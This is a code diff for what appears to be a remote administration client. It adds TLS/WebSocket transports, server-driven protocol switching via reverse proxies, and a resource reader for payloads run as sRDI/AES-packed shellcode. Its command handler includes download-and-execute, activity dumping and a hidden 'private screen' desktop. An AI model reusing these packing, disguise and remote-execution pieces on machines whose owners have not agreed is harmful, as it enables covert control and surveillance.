m_sClientSocket = INVALID_SOCKET;
return FALSE;
}
m_useWs = true;
// 注意:这里不能读 m_useTls——无 TLS 的平台上(macOS/Android)它不存在;
// 本连接实际走的形态由 wsDegraded 区分:WSS 有锚走 TLS,没锚则明文回退。
Mprintf("[WS] WebSocket 已就绪: %s:%d%s%s\n", wsHost.c_str(), (int)port,
WS_UPGRADE_PATH, wsDegraded ? " (明文,等待信任锚)"
: (wsTls ? " (TLS)" : ""));
}
// 握手阶段结束(成功路径):清零握手超时,恢复普通阻塞收包。
if (hsTmoSet) {
#ifdef _WIN32
DWORD noTmo = 0;
setsockopt(m_sClientSocket, SOL_SOCKET, SO_RCVTIMEO, (const char*)&noTmo, sizeof(noTmo));
setsockopt(m_sClientSocket, SOL_SOCKET, SO_SNDTIMEO, (const char*)&noTmo, sizeof(noTmo));
#else
struct timeval noTmo;
noTmo.tv_sec = 0;
noTmo.tv_usec = 0;
setsockopt(m_sClientSocket, SOL_SOCKET, SO_RCVTIMEO, &noTmo, sizeof(noTmo));
setsockopt(m_sClientSocket, SOL_SOCKET, SO_SNDTIMEO, &noTmo, sizeof(noTmo));
#endif
}
m_bConnected = TRUE;
@@ -526,6 +661,16 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
Sleep(50);
continue;
}
#ifdef YAMA_TLS_CHANNEL
// TLS 会话里可能有已解密、尚未交付的明文(select 只看底层 socket,看不到
// TLS 库内部缓冲),优先消费,避免被 select 卡住。
if (This->HasPendingData()) {
if (!This->ProcessRecvData(&m_CompressedBuffer, szBuffer, MAX_RECV_BUFFER - 1, 0)) {
break;
}
continue;
}
#endif
FD_ZERO(&fd);
FD_SET(This->m_sClientSocket, &fd);
// Linux select() 会修改 timeval,必须每次重置
@@ -632,7 +777,14 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
for (int i = 0; i < 16 && i < (int)bufLen; ++i) {
char tmp[12]; sprintf(tmp, "%02X ", (unsigned char)src[i]); buf += tmp;
}
Mprintf("[ERROR] Unknown header! bufLen=%lu, first 16 bytes: %s\n", bufLen, buf.c_str());
#ifdef YAMA_TLS_CHANNEL
Mprintf("[ERROR] Unknown header! this=%p bufLen=%lu, first 16 bytes: %s (useTls=%d tlsReady=%d)\n",
this, bufLen, buf.c_str(), (int)m_useTls, (int)m_tls.IsReady());
#else
// macOS/Android 没有 TlsChannel(TLS 只在这两个平台之外的客户端实现)
Mprintf("[ERROR] Unknown header! this=%p bufLen=%lu, first 16 bytes: %s\n",
this, bufLen, buf.c_str());
#endif
m_CompressedBuffer->ClearBuffer();
break;
}
@@ -861,6 +1013,11 @@ VOID IOCPClient::Disconnect()
closesocket(m_sClientSocket);
m_sClientSocket = INVALID_SOCKET;
#ifdef YAMA_TLS_CHANNEL
m_useTls = false; // 连接已断,Send/Recv 回到明文路径(下次 ConnectServer 重新锁定)
#endif
m_useWs = false; // WebSocket 帧状态同样按连接锁定,重连时重新握手
m_ws.Reset();
m_bConnected = FALSE;
}
+67 -1
View File
@@ -11,6 +11,13 @@
#pragma comment(lib,"ws2_32.lib")
#endif
// TLS 通道:Windows 走 Schannel,Linux 走 OpenSSL;macOS/Android 下该头为空,
// 且不定义 YAMA_TLS_CHANNEL,下方代码自动退回明文。
#include "TlsChannel.h"
// WebSocket 传输(经反代 443 等受限端口接入)。头文件实现,各平台编译目标无需改动。
#include "WsChannel.h"
#include "Buffer.h"
#include "zstd/zstd.h"
#include "domain_pool.h"
@@ -32,6 +39,7 @@
#endif
#include "IOCPBase.h"
#include <mutex>
#include <atomic>
#include <condition_variable>
#include <chrono>
@@ -200,6 +208,12 @@ public:
m_nHostPort = uPort;
}
// 没有 conn 的构造路径(Linux / macOS / Android 的 main 都是 new IOCPClient(exit, false))
// 用它给出传输协议:直接取外壳注入的 CONNECT_ADDRESS.protoType。不调用则保持 -1,
// ConnectServer 按明文 TCP 直连——那正是「配置成 WS 却毫无反应」的来源,故三个平台
// 的 main 都要在进入重连循环前调一次。
void SetDefaultProto(int p) { m_defaultProto = p; }
std::string ServerIP() const
{
return m_sCurIP;
@@ -282,6 +296,14 @@ public:
// 仅在我们正在等待 auth 响应时(m_authPending=true)才消费;否则透传给 manager。
bool TryHandleAuthResponse(PBYTE buf, ULONG len);
// 登录是否已被服务端接受。服务端把本机加入在线列表后立刻下发 CMD_MASTERSETTING
// (2015RemoteDlg.cpp::SendMasterSettings(ctx, ...) 的登录路径),客户端在这里置位。
// 协议切换用来判断「新入口真的登录成功」,而不是只看 IsConnected()——那只代表
// TCP/TLS/WS 握手完成,登录可能被丢弃(选错后端、反代指到别的 WS 服务)。
// 每次 ConnectServer 开始时清零,故它只描述当前这条连接。
void SetLoginAcked(bool v) { m_loginAcked.store(v, std::memory_order_release); }
bool IsLoginAcked() const { return m_loginAcked.load(std::memory_order_acquire); }
// 主动断开当前连接,关闭 socket。提到 public 让外层(如 Linux/macOS main 的心跳
// 循环检测到服务端身份校验超时)能在重连前显式关闭旧 fd,避免泄漏。
virtual VOID Disconnect(); // 函数支持 TCP/UDP
@@ -289,14 +311,41 @@ public:
protected:
virtual int ReceiveData(char* buffer, int bufSize, int flags)
{
// WebSocket 传输:字节流在 WS 帧里,帧层自己处理 TLS(WSS)或裸 socket(WS)
if (m_useWs)
return m_ws.Recv(m_sClientSocket, buffer, bufSize - 1);
#ifdef YAMA_TLS_CHANNEL
if (m_useTls)
return m_tls.Recv(m_sClientSocket, buffer, bufSize - 1);
#endif
// TCP版本调用 recv
return recv(m_sClientSocket, buffer, bufSize - 1, 0);
int n = recv(m_sClientSocket, buffer, bufSize - 1, 0);
return n;
}
virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag);
virtual int SendTo(const char* buf, int len, int flags)
{
if (m_useWs)
return m_ws.Send(m_sClientSocket, buf, len);
#ifdef YAMA_TLS_CHANNEL
if (m_useTls)
return m_tls.Send(m_sClientSocket, buf, len);
#endif
return ::send(m_sClientSocket, buf, len, flags);
}
// TLS 会话里可能有已解密但尚未交付的明文(select 只能看到底层 socket 可读性,
// 看不到 TLS 库内部缓冲),接收线程在 select 前须优先消费,避免其被卡住。
// WebSocket 同理:已读进帧头、载荷还没交完的字节同样看不到。
bool HasPendingData() const
{
if (m_useWs)
return m_ws.HasPending();
#ifdef YAMA_TLS_CHANNEL
return m_useTls && m_tls.HasPending();
#else
return false;
#endif
}
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask);
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
VOID OnServerReceiving(CBuffer *m_CompressedBuffer, char* szBuffer, ULONG ulReceivedLength);
@@ -305,6 +354,23 @@ protected:
protected:
sockaddr_in m_ServerAddr;
SOCKET m_sClientSocket;
// WebSocket 传输(PROTO_WS / PROTO_WSS):ConnectServer 里握手成功时置位,
// Disconnect 时清除。与 m_useTls 一样按连接锁定,Send/Recv 不再现查 protoType。
WsChannel m_ws;
// 收发分处两个线程:连接线程写、接收/发送线程读。形式上必须是原子量(x86 上实践
// 无害,但换成别的架构就不能再依赖这个巧合)。
std::atomic<bool> m_useWs{false};
std::atomic<bool> m_loginAcked{false};
// m_conn 为空时的协议来源(见 SetDefaultProto)。-1 = 未设置,按明文 TCP 处理。
int m_defaultProto = -1;
#ifdef YAMA_TLS_CHANNEL
TlsChannel m_tls; // TLS 会话(证书存在时才启用,见 TlsChannel.h)
// 本连接是否走 TLS:在 ConnectServer 里握手成功时置位、Disconnect 时清除,Send/Recv
// 一律按这个快照走,不再每次现查 TlsEnabled()。Linux 客户端支持服务端下发后热切换
// 传输方式(TlsReload),若现查全局开关,切换后到重连完成之间的这一秒里会把明文塞进
// 已建立的 TLS 会话(或反过来),白白制造协议错误。
std::atomic<bool> m_useTls{false};
#endif
BOOL m_bWorkThread;
HANDLE m_hWorkThread;
BOOL m_bIsRunning;
+147
View File
@@ -0,0 +1,147 @@
// ImageResource.h: 不经加载器,直接从内存中的模块映像读取资源
//
// 加壳部署(EXE + SC_AES/sRDI)下,载荷映像以裸 shellcode 运行、未注册进加载器,
// FindResource/LoadIcon/CreateDialogParamA 这类按 hInstance 找资源的 API 全部失败
// (实测 Win11 返回 err=1812 / 59)。但映像的节(含 .rsrc)是按 PE 布局正常映射
// 的,资源目录里的偏移又都是 RVA,因此可以直接遍历 IMAGE_RESOURCE_DIRECTORY
// 取到资源数据。本文件只读调用方给出的映像,不做任何映射。
//
// 适用:正常 EXE/DLL、MemoryModule 手工映射 DLL、sRDI 包装的 shellcode 载荷。
// 注意:调用方传入的必须是已映射映像的基址(如 &__ImageBase),不是磁盘文件。
//
// 稳定性:所有偏移都按 SizeOfImage / 资源目录大小做越界检查,映像布局异常
// (被第三方加壳改坏、资源被裁剪等)时一律返回 NULL,绝不越界读取。
#ifndef YAMA_IMAGE_RESOURCE_H
#define YAMA_IMAGE_RESOURCE_H
#include <windows.h>
#ifdef __cplusplus
extern "C" const IMAGE_DOS_HEADER __ImageBase;
#endif
// RT_ICON / RT_GROUP_ICON 的数字 ID(与同名 RT_ 宏对应)
#define IMAGE_RES_TYPE_ICON 3
#define IMAGE_RES_TYPE_GROUP_ICON 14
#pragma pack(push, 1)
typedef struct GRPICONDIRENTRY {
BYTE bWidth;
BYTE bHeight;
BYTE bColorCount;
BYTE bReserved;
WORD wPlanes;
WORD wBitCount;
DWORD dwBytesInRes;
WORD nID;
} GRPICONDIRENTRY;
#pragma pack(pop)
#define IMAGE_RES_DIR_IN_BOUNDS(resOffset, resSize) \
((resOffset) <= (resSize) - sizeof(IMAGE_RESOURCE_DIRECTORY))
#define IMAGE_RES_ENTRY_ARRAY_OK(resOffset, resCount, resSize) \
((resCount) <= ((resSize) - (resOffset) - sizeof(IMAGE_RESOURCE_DIRECTORY)) / sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY))
// 在已映射映像中查找 type/id(取第一个语言项)的资源数据,返回映像内指针
static const BYTE* FindImageResource(const void* pvImage, WORD nType, WORD nId, DWORD* pdwSize)
{
if (pdwSize) *pdwSize = 0;
if (!pvImage) return NULL;
const BYTE* pBase = (const BYTE*)pvImage;
const DWORD dwLfanew = *(const DWORD*)(pBase + 0x3C);
// 正常 PE 头远小于一页;sRDI 的 CLEARHEADER 只保留 PE 头(e_lfanew 之后),
// 所以这里不能用 MZ 判断,只能靠 e_lfanew 与 PE 签名
if (dwLfanew == 0 || dwLfanew > 0x1000) return NULL;
const PIMAGE_NT_HEADERS pNt = (const PIMAGE_NT_HEADERS)(pBase + dwLfanew);
if (pNt->Signature != IMAGE_NT_SIGNATURE) return NULL;
const DWORD dwImageSize = pNt->OptionalHeader.SizeOfImage;
const DWORD dwResRva = pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress;
const DWORD dwResSize = pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].Size;
if (dwResRva == 0 || dwResSize < sizeof(IMAGE_RESOURCE_DIRECTORY) ||
dwResRva > dwImageSize || dwResSize > dwImageSize - dwResRva) {
return NULL;
}
const BYTE* pRes = pBase + dwResRva;
// 已映射映像:资源目录与数据项偏移都是相对资源节起点的偏移 / RVA
// 目录三层:类型 -> 名称/ID -> 语言
const WORD keys[2] = { nType, nId };
DWORD dwDirOff = 0;
for (int i = 0; i < 2; i++) {
if (!IMAGE_RES_DIR_IN_BOUNDS(dwDirOff, dwResSize)) return NULL;
const IMAGE_RESOURCE_DIRECTORY* pRd = (const IMAGE_RESOURCE_DIRECTORY*)(pRes + dwDirOff);
const DWORD dwCount = (DWORD)pRd->NumberOfNamedEntries + pRd->NumberOfIdEntries;
if (!IMAGE_RES_ENTRY_ARRAY_OK(dwDirOff, dwCount, dwResSize)) return NULL;
const IMAGE_RESOURCE_DIRECTORY_ENTRY* pEntry = (const IMAGE_RESOURCE_DIRECTORY_ENTRY*)(pRd + 1);
const IMAGE_RESOURCE_DIRECTORY_ENTRY* pFound = NULL;
for (DWORD j = 0; j < dwCount; j++) {
// 只按数字 ID 匹配;命名项(NameIsString)跳过
if (!(pEntry[j].Name & IMAGE_RESOURCE_NAME_IS_STRING) && pEntry[j].Id == keys[i]) {
pFound = &pEntry[j];
break;
}
}
if (!pFound || !pFound->DataIsDirectory) return NULL;
dwDirOff = pFound->OffsetToDirectory;
}
if (!IMAGE_RES_DIR_IN_BOUNDS(dwDirOff, dwResSize)) return NULL;
const IMAGE_RESOURCE_DIRECTORY* pLangDir = (const IMAGE_RESOURCE_DIRECTORY*)(pRes + dwDirOff);
const DWORD dwLangCount = (DWORD)pLangDir->NumberOfNamedEntries + pLangDir->NumberOfIdEntries;
if (dwLangCount == 0 || !IMAGE_RES_ENTRY_ARRAY_OK(dwDirOff, dwLangCount, dwResSize)) return NULL;
const IMAGE_RESOURCE_DIRECTORY_ENTRY* pLang = (const IMAGE_RESOURCE_DIRECTORY_ENTRY*)(pLangDir + 1);
if (pLang->DataIsDirectory) return NULL;
const DWORD dwDataOff = pLang->OffsetToData;
if (dwDataOff > dwResSize - sizeof(IMAGE_RESOURCE_DATA_ENTRY)) return NULL;
const IMAGE_RESOURCE_DATA_ENTRY* pData = (const IMAGE_RESOURCE_DATA_ENTRY*)(pRes + dwDataOff);
const DWORD dwRva = pData->OffsetToData;
const DWORD dwBytes = pData->Size;
if (dwRva > dwImageSize || dwBytes > dwImageSize - dwRva) return NULL;
if (pdwSize) *pdwSize = dwBytes;
return pBase + dwRva; // OffsetToData 是 RVA
}
// 按图标组(RT_GROUP_ICON)ID 建 HICON:选尺寸最接近 nWidth x nHeight 的一帧,
// 用 CreateIconFromResourceEx 创建。返回的 HICON 由调用方负责 DestroyIcon。
static HICON CreateImageIcon(const void* pvImage, WORD nGroupId, int nWidth, int nHeight)
{
DWORD dwGroupSize = 0;
const BYTE* pGroup = FindImageResource(pvImage, IMAGE_RES_TYPE_GROUP_ICON, nGroupId, &dwGroupSize);
if (!pGroup || dwGroupSize < 6 + sizeof(GRPICONDIRENTRY)) return NULL;
// GRPICONDIR: WORD idReserved, idType, idCount
const WORD nCount = *(const WORD*)(pGroup + 4);
if (*(const WORD*)(pGroup + 2) != 1 || nCount == 0) return NULL;
if (dwGroupSize < 6 + (DWORD)nCount * sizeof(GRPICONDIRENTRY)) return NULL;
const GRPICONDIRENTRY* pBest = NULL;
int nBestDiff = 0x7FFFFFFF;
for (WORD i = 0; i < nCount; i++) {
const GRPICONDIRENTRY* pEntry = (const GRPICONDIRENTRY*)(pGroup + 6 + i * sizeof(GRPICONDIRENTRY));
const int w = pEntry->bWidth ? pEntry->bWidth : 256; // 0 表示 256
const int h = pEntry->bHeight ? pEntry->bHeight : 256;
const int dx = w > nWidth ? w - nWidth : nWidth - w;
const int dy = h > nHeight ? h - nHeight : nHeight - h;
if (dx + dy < nBestDiff) {
nBestDiff = dx + dy;
pBest = pEntry;
}
}
if (!pBest) return NULL;
DWORD dwIconSize = 0;
const BYTE* pIcon = FindImageResource(pvImage, IMAGE_RES_TYPE_ICON, pBest->nID, &dwIconSize);
if (!pIcon || dwIconSize == 0) return NULL;
return (HICON)CreateIconFromResourceEx((PBYTE)pIcon, dwIconSize, TRUE, 0x00030000,
nWidth, nHeight, LR_DEFAULTCOLOR);
}
#endif // YAMA_IMAGE_RESOURCE_H
+487 -2
View File
@@ -10,6 +10,7 @@
#include <fstream>
#include <corecrt_io.h>
#include "ClientDll.h"
#include "ActivityHistory.h"
#include "MemoryModule.h"
#include "common/dllRunner.h"
#include "server/2015Remote/pwd_gen.h"
@@ -44,6 +45,10 @@ IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string&
return new IOCPUDPClient(bExit, exit_while_disconnect);
if (type == PROTO_HTTP || type == PROTO_HTTPS)
return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP, conn, publicIP);
// WebSocket:仍然是 IOCPClient(TCP 承载),只是 ConnectServer 里多做一次 Upgrade
// 握手,Send/Recv 换成 WS 帧。HTTP 伪装层不用(WS 帧本身就是 HTTP 升级后的流)。
if (type == PROTO_WS || type == PROTO_WSS)
return new IOCPClient(bExit, exit_while_disconnect, MaskTypeNone, conn, publicIP);
if (type == PROTO_KCP) {
return new IOCPKCPClient(bExit, exit_while_disconnect);
}
@@ -799,6 +804,28 @@ void ResponseDisable(IOCPClient *client, const char* type, LPBYTE data, int size
extern "C" bool IsSystemInSession0();
// 信任锚已写入/删除:热重载 TLS 状态,只在传输方式真正变化(明文 ↔ TLS)时断开重连;
// 仅换证书(仍是 TLS)不打断现有会话,新锚从下一条新连接开始生效。与 Linux 版的
// linux/main.cpp::ApplyTlsAnchorChange 同一语义。
static void ApplyTlsAnchorChange(IOCPClient* client)
{
const bool before = TlsEnabled();
std::string err;
if (!TlsReload(err)) {
Mprintf("[TLS] reload failed: %s (keeping current transport)\n", err.c_str());
return;
}
const bool after = TlsEnabled();
if (before == after) {
Mprintf("[TLS] trust anchor updated, transport unchanged (%s)\n",
after ? "TLS" : "plaintext");
return;
}
Mprintf("[TLS] transport switched to %s, reconnecting\n", after ? "TLS" : "plaintext");
if (client)
client->Disconnect(); // 断开后由重连循环用新传输方式重新登录
}
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
@@ -822,11 +849,147 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopClientLogManager, &m_hThread[m_ulThreadCount], 0, NULL);
break;
}
case COMMAND_QUERY_ACTIVITY: {
// 主连接一次性快照:直接 dump 历史活动并回传
std::string text = ActivityHistory::Instance().Dump();
std::vector<BYTE> pkt(1 + text.size());
pkt[0] = TOKEN_REPORT_ACTIVITY;
if (!text.empty())
memcpy(pkt.data() + 1, text.data(), text.size());
m_ClientObject->Send2Server((char*)pkt.data(), (ULONG)pkt.size());
break;
}
case CMD_SET_GROUP: {
std::string group = std::string((char*)szBuffer + 1);
m_cfg->SetStr("settings", "group_name", group);
break;
}
case COMMAND_REGEN_CLIENT_ID: {
// 撞 ID 的克隆机:服务端已判定「主机名不同却撞 client_id」,让本机重生成 ID。
// 新 ID = 旧 ID + 随机 UUID 再哈希,写回注册表后主动断开主连接,重连循环
// 会用新 ID 重新登录,脱离撞 ID 状态(脱离替补、正常显示在主机列表)。
uint64_t newID = RegenerateClientID(m_conn->clientID);
m_cfg->SetStr("settings", "client_id", std::to_string(newID));
Mprintf("[regen-client-id] 重生成 client_id: %llu -> %llu,即将重连\n",
m_conn->clientID, newID);
if (m_ClientObject)
m_ClientObject->Disconnect();
break;
}
case COMMAND_TLS_ENABLE: {
// 服务端下发信任锚证书:payload = PEM 正文(szBuffer+1 .. ulLength-1)。
// 写入注册表 settings\tls_cert 后热重载:明文 → TLS 的切换会断开本连接,重连
// 循环随即用 TLS 重新登录(此前按明文回退的 WSS 客户端就此升级为 WSS)。
if (ulLength > 1) {
std::string certPem((char*)szBuffer + 1, ulLength - 1);
m_cfg->SetStr("settings", "tls_cert", certPem);
ApplyTlsAnchorChange(m_ClientObject);
} else {
// 没有证书正文就等于「启用但没有锚」——不该悄悄忽略,留一行便于排查。
Mprintf("[TLS] COMMAND_TLS_ENABLE without a certificate payload, ignored\n");
}
break;
}
case COMMAND_TLS_DISABLE: {
// 删除注册表信任锚后热重载:TLS → 明文时断开重连(WSS 客户端会回到明文回退)。
std::string subKey = GetRegistryName() + "\\settings";
HKEY hKey = NULL;
if (RegOpenKeyExA(GetCurrentUserRegistryKey(), subKey.c_str(), 0,
KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
RegDeleteValueA(hKey, "tls_cert");
RegCloseKey(hKey);
}
ApplyTlsAnchorChange(m_ClientObject);
break;
}
case COMMAND_SET_PROTO: {
// 协议切换(TCP / WS / WSS):把目标入口写进本机配置后断开本连接,重连循环
// (ClientDll.cpp 的 ApplyProtoSwitch)按新入口重连。入口覆盖要落盘,否则在线
// 升级换 DLL 后会被外壳注入的 protoType 按回 TCP。
//
// 载荷:[ProtoSwitchPacket][certLen 字节 PEM];host/port 都为空 = 还原到固定
// 直连入口(客户端记着安装时的 base 入口)。WSS 可附带信任锚(反代证书),先
// 落盘并重建 TLS 上下文,但这里不主动断开——断开统一放在末尾,避免丢后续包。
// 分享实例的连接入口由分享方控制,主控的协议切换对它无效——直接忽略,
// 避免白白断开一次再按注入配置连回来。
if (m_ClientApp && m_ClientApp->IsShared()) {
Mprintf("[proto-switch] ignored: shared instance follows the sharing host's entry\n");
break;
}
if (ulLength < 1 + sizeof(ProtoSwitchPacket)) {
Mprintf("[proto-switch] payload too short (%u), ignored\n", ulLength);
break;
}
ProtoSwitchPacket p = {};
memcpy(&p, szBuffer + 1, sizeof(p));
p.host[sizeof(p.host) - 1] = '\0';
p.port[sizeof(p.port) - 1] = '\0';
const int proto = p.proto;
if (proto != PROTO_TCP && proto != PROTO_WS && proto != PROTO_WSS) {
Mprintf("[proto-switch] unsupported proto %d, ignored\n", proto);
break;
}
const std::string host(p.host);
const int port = atoi(p.port);
const bool restore = (proto == PROTO_TCP && host.empty());
if (!restore && (host.empty() || port <= 0)) {
Mprintf("[proto-switch] missing proxy entry for proto %d, ignored\n", proto);
break;
}
// 随包下发的信任锚(WSS):写入后热重载,让下一次连接能校验反代证书。
const uint32_t maxCert = (uint32_t)(ulLength - 1 - sizeof(ProtoSwitchPacket));
uint32_t certLen = p.certLen < maxCert ? p.certLen : maxCert;
if (certLen > 0) {
std::string certPem((const char*)szBuffer + 1 + sizeof(ProtoSwitchPacket), certLen);
const std::string prevCert = m_cfg->GetStr("settings", "tls_cert");
m_cfg->SetStr("settings", "tls_cert", certPem);
std::string err;
if (!TlsReload(err)) {
// 放弃本次切换(不写 proto_override/entry_*,不断连):PEM 加载不了时客户端
// 会进入 TlsLoadError() 的 fail-closed 状态,切过去只会「新入口连不上,等
// 5 分钟自动回退」——而且自动回退本身也可能被误撤销。回滚证书并回报操作端。
m_cfg->SetStr("settings", "tls_cert", prevCert);
const std::string loadErr = err;
TlsReload(err); // 让 TLS 上下文回到旧锚(失败也不影响:旧锚此前是好的)
Mprintf("[proto-switch] trust anchor reload failed: %s, switch aborted\n", loadErr.c_str());
ClientMsg msg("协议切换", ("证书加载失败,已取消切换: " + loadErr).c_str());
SendData((LPBYTE)&msg, sizeof(msg));
break;
}
}
if (restore) {
m_cfg->SetStr("settings", "proto_override", "");
m_cfg->SetStr("settings", "entry_host", "");
m_cfg->SetStr("settings", "entry_port", "");
m_cfg->SetStr("settings", "entry_try_at", "0");
Mprintf("[proto-switch] restore request, reconnecting to the direct entry\n");
} else {
// 首次切换记下安装时的直连入口(「还原」用);每次切换记下当前入口(自动回退用)
if (m_cfg->GetStr("settings", "base_host").empty()) {
m_cfg->SetStr("settings", "base_host", m_conn->ServerIP());
m_cfg->SetStr("settings", "base_port", std::to_string(m_conn->ServerPort()));
m_cfg->SetStr("settings", "base_proto",
std::to_string((int)(unsigned char)m_conn->protoType));
}
m_cfg->SetStr("settings", "prev_host", m_conn->ServerIP());
m_cfg->SetStr("settings", "prev_port", std::to_string(m_conn->ServerPort()));
m_cfg->SetStr("settings", "prev_proto", std::to_string((int)(unsigned char)m_conn->protoType));
m_cfg->SetStr("settings", "proto_override", std::to_string(proto));
m_cfg->SetStr("settings", "entry_host", host);
m_cfg->SetStr("settings", "entry_port", std::to_string(port));
m_cfg->SetStr("settings", "entry_try_at", std::to_string((long long)time(0)));
Mprintf("[proto-switch] switching to proto %d via %s:%d, reconnecting\n",
proto, host.c_str(), port);
}
if (m_ClientObject)
m_ClientObject->Disconnect();
break;
}
case COMMAND_DOWN_EXEC: {
std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach();
@@ -1008,6 +1171,15 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_SHARE:
case COMMAND_ASSIGN_MASTER:
if (ulLength > 2) {
// 解析末尾协议段(Shine=0 / HELL=1,旧命令无此段则 -1 沿用烘焙值)
int shareProto = -1;
{
auto pv = StringToVector((char*)szBuffer + 2, ':', 5);
if (szBuffer[1] == SHARE_TYPE_YAMA && pv.size() >= 3 && (pv[2] == "0" || pv[2] == "1"))
shareProto = atoi(pv[2].c_str());
else if (szBuffer[1] == SHARE_TYPE_YAMA_FOREVER && pv.size() >= 4 && (pv[3] == "0" || pv[3] == "1"))
shareProto = atoi(pv[3].c_str());
}
switch (szBuffer[1]) {
case SHARE_TYPE_YAMA_FOREVER: {
auto v = StringToVector((char*)szBuffer + 2, ':', 3);
@@ -1018,6 +1190,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (now <= valid_to) break; // Avoid assign again
m_cfg->SetStr("settings", "master", v[0]);
m_cfg->SetStr("settings", "port", v[1]);
if (shareProto == PROTOCOL_SHINE || shareProto == PROTOCOL_HELL)
m_cfg->SetStr("settings", "master_proto", std::to_string(shareProto));
float days = atof(v[2].c_str());
if (days > 0) {
auto valid_to = time(0) + days*86400;
@@ -1036,6 +1210,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (v[0].empty() || v[1].empty())
break;
auto share = v[0] + ":" + v[1];
if (shareProto == PROTOCOL_SHINE || shareProto == PROTOCOL_HELL)
share += ":" + std::to_string(shareProto);
auto list = m_cfg->GetStr("settings", "share_list");
auto shareList = list.empty() ? std::vector<std::string>{} : StringToVector(list, '|');
if (VectorContains(shareList, share)) break;
@@ -1043,7 +1219,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
m_cfg->SetStr("settings", "share_list", VectorJoin(shareList, '|'));
Mprintf("Share client to new master: %s\n", share.c_str());
}
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE);
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE, shareProto);
if (nullptr!=a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
break;
}
@@ -1066,6 +1242,11 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
OnHeatbeatResponse(szBuffer, ulLength);
break;
case CMD_MASTERSETTING:
// 登录已被服务端接受:服务端把本机加入在线列表后才下发 MasterSettings
// (2015RemoteDlg.cpp::SendMasterSettings(ctx, ...) 的登录路径)。协议切换的
// 自动回退靠这个信号撤销,而不是只看连接是否建立——连接建立只说明握手完成。
if (m_ClientObject)
m_ClientObject->SetLoginAcked(true);
if (ulLength > MasterSettingsOldSize) {
memcpy(&m_settings, szBuffer + 1, ulLength > sizeof(MasterSettings) ? sizeof(MasterSettings) : MasterSettingsOldSize);
if (m_settings.Signature[0] && m_LoginSignature.empty()) {
@@ -1089,6 +1270,13 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
mgr->EnableOfflineRecord(TRUE);
}
Logger::getInstance().usingLog(m_settings.EnableLog);
// 主控端经 MasterSettings 下发文件传输速度(TransferChunkKb 非 0 表示已下发,
// 0 表示老主控未携带,保留本地默认值)。写入 [transfer] 节,供各 InitFileUpload
// 调用点经 GetTransferSpeed 读取。
if (m_settings.TransferChunkKb) {
m_cfg->SetInt("transfer", "ChunkKb", m_settings.TransferChunkKb);
m_cfg->SetInt("transfer", "DurationMs", m_settings.TransferDurationMs);
}
}
if (IsAuthKernel() &&
(m_settings.FeedbackUrl[0] || m_settings.HelpUrl[0] || m_settings.RequestAuthUrl[0] || m_settings.GetPluginUrl[0])) {
@@ -1129,6 +1317,60 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break;
}
case COMMAND_CHAT: { // 远程交谈(双向聊天)
if (!ENABLE_MESSAGE) {
return ResponseDisable(m_ClientObject, "CHAT", szBuffer + 1, ulLength - 1);
}
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount].user = m_hInstance;
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopChatManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_MACHINE_MANAGE: { // 主机管理
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopMachineManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_FILE_MANAGER_PLUGIN: { // 插件文件管理(SimplePlugins 迁移)
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManagerPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_PRIVATE_SCREEN_PLUGIN: { // 隐私屏幕(虚拟桌面,SimplePlugins 迁移)
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
